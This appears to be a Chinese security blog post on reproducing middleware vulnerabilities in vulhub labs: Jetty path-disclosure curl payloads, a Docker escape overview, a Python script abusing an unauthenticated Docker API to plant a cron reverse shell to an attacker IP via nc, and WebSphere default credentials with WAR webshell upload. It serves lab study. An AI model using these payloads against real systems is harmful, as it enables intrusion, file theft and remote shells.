• 中间件安全-CVE 复现&K8s&Docker&Jetty&Websphere漏洞复现


    服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere

    中间件及框架列表:

    IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等。

    中间件所披露的问题:

    中间件安全-IIS&Apache&Tomcat&Nginx漏洞复现

    中间件安全-Weblogic&Jenkins&GlassFish漏洞复现

    1、中间件-K8s 安全

    2、中间件-Jetty 安全

    3、中间件-Docker 安全

    4、中间件-WebSphere 安全

    常见中间件的安全测试:

    1、配置不当-解析&弱口令

    2、安全机制-特定安全漏洞

    3、安全机制-弱口令爆破攻击

    4、安全应用-框架特定安全漏洞

    中间件安全测试流程:

    1、判断中间件信息-名称&版本&三方

    2、判断中间件问题-配置不当&公开漏洞

    3、判断中间件利用-弱口令&EXP&框架漏洞

    应用服务安全测试流程:

    1、判断服务开放情况-端口扫描&组合应用等

    2、判断服务类型归属-数据库&文件传输&通讯等

    3、判断服务利用方式-特定漏洞&未授权&弱口令等

    中间件-K8s

    介绍:kubernetes详解

    中间件-K8s:

    kubernetes 简称 k8s,是一个由 google 开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在 B 站内部,k8s 在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。

    K8s相关安全问题以及漏洞复现参考文章:k8s对外攻击面总结_k8s漏洞

    中间件-Jetty

    介绍:

    Elipse Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。Jetty是一个开源的HTTP服务器和Servlet引擎,它可以为JSP和Servlet提供运行时环境。相对于Tomcat,jetty更加轻量、更加简易、更加灵活。

    安全问题:

    CVE-2021-28164-路径信息泄露漏洞

    CVE-2021-28169-双重解码信息泄露漏洞

    CVE-2021-34429-路径信息泄露漏洞

    漏洞复现

    CVE-2021-28164-路径信息泄露漏洞

    Jetty 版本 9.4.37 引入了有关 URI 解码的更精确的RFC3986实现,以及一些新的合规性模式,以选择性地允许支持某些在 Servlet 指定的 API 方法行为中可能具有模糊解释的 URI。默认模式允许 % 编码。要排除以进行 URI 规范化的字符,RFC 正确,但常见 Servlet 实现不假定。

    默认合规性模式允许具有包含或分段的 URI 的请求访问 WEB-INF 目录中的受保护资源。例如,请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实现的敏感信息。

    %2e %2e%2e /context/%2e/WEB-INF/web.xml

    此错误已在版本 9.4.39 中修复。

    靶场:vulhub

    参考:CVE-2021-28164

    image-20231025001534746

    开启环境:

    image-20231025000822983

    访问:

    image-20231025000903314

    payload:
    //访问敏感文件 Web.xml   /WEB-INF/web.xml
    //用于绕过限制:%2e/
    curl -v "http://192.168.100.134:8080/%2e/WEB-INF/web.xml"
    
    • 1
    • 2
    • 3
    • 4

    image-20231025001219204

    image-20231025001239074

    或使用burp抓包,发送请求或直接使用浏览器直接url请求

    http://you-ip:8080/%2e/WEB-INF/web.xml
    
    • 1
    CVE-2021-28169双重解码信息泄露漏洞

    介绍:

    在版本 9.4.40、10.0.2、11.0.2 之前,Jetty Servlet 中的 and 类受到双重解码错误的影响。如果开发人员手动使用这两个类,攻击者可以使用它们下载 WEB-INF 目录中的任意敏感文件。
    ConcatServlet WelcomeFilter

    靶场:vulhub

    参考:CVE-2021-28169 双重解码信息泄露漏洞

    image-20231025001628520

    开启环境:

    image-20231025002027429

    访问:

    image-20231025002053079

    payload:
    //访问敏感文件 Web.xml。	/static?/WEB-INF/web.xml
    //双 URL 编码以绕过限制:W
    curl -v "http://your-ip:8080/static?/%2557EB-INF/web.xml"
    curl -v "http://192.168.100.134:8080/static?/%2557EB-INF/web.xml"
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20231025002233668

    image-20231025002300555

    使用浏览器发送url请求或使用burp抓包修改数据包,发送请求也可以

    http://you-ip:8080/static?/WEB-INF/web.xml
    
    • 1
    CVE-2021-34429路径信息泄露漏洞

    介绍:

    Eclipse Jetty 是一个 Java Web 服务器和 Java Servlet 容器。

    Jetty 9.4.40 修复了一个不明确的路径信息泄露漏洞 CVE-2021-28164,CVE-2021-34429 是它的变体和绕过。

    有 3 种类型的有效负载会泄露以下内容: WEB-INF/web.xml

    • 基于 Unicode 的 URL 编码: /%u002e/WEB-INF/web.xml

    • \0有错误:. /.%00/WEB-INF/web.xml

    • \0有错误:.. /a/b/..%00/WEB-INF/web.xml

    该漏洞影响码头 9.4.37-9.4.42、10.0.1-10.0.5、11.0.1-11.0.5。

    靶场:vulhub

    参考:CVE-2021-34429路径信息泄露漏洞

    image-20231025002541374

    开启环境:

    image-20231025002631893

    访问:

    image-20231025002750348

    payload:
    //访问敏感文件 Web.xml。 /WEB-INF/web.xml
    //使用有效负载绕过限制: /%u002e/WEB-INF/web.xml
    curl -v "http://192.168.100.134:8080/%u002e/WEB-INF/web.xml"
    
    • 1
    • 2
    • 3
    • 4

    image-20231025003130498

    或直接使用浏览器url请求或使用burp抓包,发送请求/%u002e/WEB-INF/web.xml

    GET /%u002e/WEB-INF/web.xml HTTP/1.1
    ...
    
    • 1
    • 2

    image-20231025003034480

    http://192.168.100.134:8080/%u002e/WEB-INF/web.xml
    
    • 1

    image-20231025003450893

    此两种方式,以上的两种CVE漏洞也可以利用成功。

    中间件-Docker

    介绍:Docker详解

    Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。

    Docker 容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行 POC 或 EXP,就可以返回一个宿主机的高权限 Shell,并拿到宿主机的
    root 权限,可以直接操作宿主机文件。 它从容器中逃了出来,因此我们形象的称为Docker 逃逸漏洞。

    //判断容器
    1、容器判断:
    -是否存在.dockerenv 文件
    ls -alh /.dockerenv
    -查询系统进程的 cgroup 信息:
    cat /proc/1/cgroup
    
    2、容器逃逸漏洞:权限提升
    -由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
    -由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
    -由配置不当引起——开启 privileged(特权模式)+宿主机目录挂载(文件挂载)、功能
    (capabilities)机制、sock 通信方式-CVE-2016-5195
    
    //工具地址:https://github.com/gebl/dirtycow-docker-vdso
    上传到docker环境当中
    进入目录执行make进行编译
    执行生成的可执行文件即可
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    安全问题:

    API 未经授权访问漏洞

    漏洞复现

    守护程序 API 未经授权访问漏洞

    靶场:vulhub

    参考:Docker守护程序 API 未经授权访问漏洞

    image-20231025004516311

    开启环境:

    image-20231025124712711

    漏洞利用:

    //exp脚本,反弹shell
    import docker
    
    client = docker.DockerClient(base_url='http://you-ip:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 攻击者IP 监听端口 -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
    
    • 1
    • 2
    • 3
    • 4
    • 5

    执行脚本:

    python docker-api.py
    
    • 1

    开启监听:

    nc -lvvp 8888
    
    • 1

    等待反弹即可。

    中间件-WebSphere

    介绍:webSphere详解

    WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。

    WebSphere 是一个模块化的平台,基于业界支持的开放标准。可以通过受信任和持久的接口,将现有资产插入 WebSphere,可以继续扩展环境。WebSphere 可以在许多平台上运行,包括 Intel、Linux 和 z/OS。

    安全问题:

    反序列化CVE-2015-7450

    弱口令 &&后台Getshell

    CVE-2020-4450

    漏洞复现

    反序列化CVE-2015-7450

    原理:

    Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入,其InvokerTransformer类在反序列化来自可疑域的数据时存在安全漏洞,这可使攻击者在用户输入中附加恶意代码并组合运用不同类的readObject()方法,在最终类型检查之前执行Java函数或字节码(包括调用Runtime.exec()执行本地OS命令)。

    复现:

    反序列化漏洞发生位置在SOAP的通信端口8880,可使用https发送XML格式数据。

    //拉取环境
    docker pull iscrosales/websphere7
    //开启环境
    docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
    
    • 1
    • 2
    • 3
    • 4

    等待环境开启后,访问即可。如果访问8880端口,若出现如下界面,则可能存在Java反序列化漏洞。

    image-20231025142403587

    image-20231025145741137

    漏洞利用:

    可直接使用工具,梭哈一键利用,RCE以及上传等操作,输入url即可

    image-20231025131550076

    检测并执行过后:

    image-20231025142623832

    执行命令(RCE):

    image-20231025142653615

    whoami,当前路径pwd

    image-20231025143130409

    弱口令 &&后台Getshell

    弱口令:

    在6.x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登陆后台。

    访问9096端口服务:

    //登录界面
    //http://you-ip:9060/ibm/console/unsecureLogon.jsp
    http://you-ip:9060/ibm/console
    //默认账号密码:
    websphere/websphere
    system/manager
    
    //进入后台
    http://you-ip:9060/ibm/console/login.do
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    弱口令:

    image-20231025150439234

    成功进入后台:

    image-20231025143506644

    后台getshell:

    1、点击WebSphere 企业应用程序,点击安装

    2、创建jsp木马文件,压缩成zip文件,将zip更名为war后缀的文件,进行上传(上传war包,点击下一步)

    3、填写上下文根,关系到你访问的URL

    4、保存访问shell即可(回到WebSphere 企业应用程序,选中war包启动,访问shell)

    http://you-ip:9080/shell.jsp

    http://you-ip:9080/1/shell.jsp

    通过哥斯拉进行连接,进行getshell即可。

    操作流程如下:

    1、点击WebSphere 企业应用程序,点击安装

    image-20231025143548599

    2、创建jsp木马文件,压缩成zip文件,将zip更名为war后缀的文件,进行上传(上传war包,点击下一步)

    image-20231025143700208

    上传,点击下一步:

    image-20231025143758569

    3、一路下一步,到填写上下根,填写即可;填写上下文根,关系到你访问的URL。

    image-20231025143913317

    等待安装:

    image-20231025144010188

    4、保存访问shell即可(回到WebSphere 企业应用程序,选中war包启动,访问shell)

    安装完成后,保存配置:

    保存主配置后,然后回到WebSphere 企业应用程序,选中war包启动,访问shell

    image-20231025144058226

    选中,点击start:

    image-20231025144227115

    成功:

    image-20231025144310021

    访问shell:

    http://192.168.100.134:9080/shell.jsp

    image-20231025144651487

    http://192.168.100.134:9080/1/shell.jsp

    image-20231025152040083

    接下来通过哥斯拉进行连接:

    成功连接:

    image-20231025144712932

    命令执行:

    image-20231025145329677

    具体详细复现过程可参考文章:

    WebSphere漏洞复现

    CVE-2020-4450

    漏洞原理以及复现可参考:

    WebSphere 远程代码执行漏洞CVE-2020-4450

    CVE-2020-4450


    其他中间件安全问题以及漏洞复现点击以下链接即可

    跳转参考链接如下:

    中间件安全-CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

    中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

  • 相关阅读:
    (ubuntu)安装nginx
    车牌识别系统Python,基于深度学习CNN卷积神经网络算法
    前端培训技术AngularJS 服务(Service)
    论文阅读 - TwiBot-22: Towards Graph-Based Twitter Bot Detection
    Java面向对象面试题总结
    VUE3 ref,props,生命周期
    Java项目:SSM在线化妆品网站
    [maven] maven 创建 web 项目并嵌套项目
    Mysql知识大全
    前段10W+字八股+半年实习经历+400道算法+两年学校创新创业团队开发也无法上岸的经历~之前端我不干了!
  • 原文地址:https://blog.csdn.net/rumil/article/details/134036508